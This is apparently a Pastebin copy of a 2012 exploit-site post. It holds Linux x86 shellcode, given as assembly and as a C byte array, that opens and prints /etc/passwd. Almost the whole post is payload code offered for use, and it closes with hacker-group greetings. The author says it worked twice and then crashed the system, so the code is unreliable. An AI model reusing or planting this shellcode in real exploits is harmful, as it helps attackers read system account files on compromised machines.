TrOoN

linux/x86 Backbox /etc/passwd read shellcode 65 bytes

Feb 11th, 2012
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.82 KB | None | 0 0
  1. #http://1337day.com/exploits/17518
  2. #Title : Backbox /etc/passwd read shellcode 65 byte(s)
  3. #Author : TrOoN
  4. #E-mail : www.facebook.com/fysl.fyslm
  5. #Home : city 617 logt Draria algeria
  6. #Web Site : www.1337day.com
  7. #Type : local root / exploit / shellcode / etc
  8. #Tested on : backbox 32 bit ENG
  9. #download link : backbox.org
  10. #1337Day sys : it's work withe me 2 time(s) and aft this i get error shut system :P
  11. #~~~~~~~~# hasbin rohkom khirmana 9a3din gir f 9dime yakhii 3bade pff 9wdoo # ~~~~~~~~#
  12.  
  13.  
  14.  
  15. // start delt this ok !!//
  16. _start:
  17.  
  18. xor %eax, %eax
  19. xor %ebx, %ebx
  20. xor %ecx, %ecx
  21. xor %edx, %edx
  22. jmp two
  23.  
  24. // delt this oK !! ///
  25. one:
  26. pop %ebx
  27.  
  28. movb $5, %al
  29. xor %ecx, %ecx
  30. int $0x80
  31.  
  32. mov %eax, %esi
  33. jmp read
  34.  
  35. exit:
  36. movb $1, %al
  37. xor %ebx, %ebx
  38. int $0x80
  39.  
  40. read:
  41. mov %esi, %ebx
  42. movb $3, %al
  43. sub $1, %esp
  44. lea (%esp), %ecx
  45. movb $1, %dl
  46. int $0x80
  47.  
  48. xor %ebx, %ebx
  49. cmp %eax, %ebx
  50. je exit
  51.  
  52. movb $4, %al
  53. movb $1, %bl
  54. movb $1, %dl
  55. int $0x80
  56.  
  57. add $1, %esp
  58. jmp read
  59.  
  60. two:
  61. call one
  62. .string "file_name"
  63. */
  64. char main[]=
  65. "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
  66. "\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"
  67. "\x80\x89\xc6\xeb\x06\xb0\x01\x31"
  68. "\xdb\xcd\x80\x89\xf3\xb0\x03\x83"
  69. "\xec\x01\x8d\x0c\x24\xb2\x01\xcd"
  70. "\x80\x31\xdb\x39\xc3\x74\xe6\xb0"
  71. "\x04\xb3\x01\xb2\x01\xcd\x80\x83"
  72. "\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"
  73. "\xff"
  74. "/etc/passwd";
  75.  
  76. ~~~~~~~~~~~~~~~~ 1337 day | ked ans | ALgerian | mosta_team |viper| bRsco_Dz | fire_hacker| hacker_1420 | &all
  77. metasploit | Back track | w3schoOL | AlGerian_ | bem 2012 anchalah khoya ~~~~~~
  78. ## http://1337day.com/exploits/17518
Advertisement
Add Comment
Please, Sign In to add comment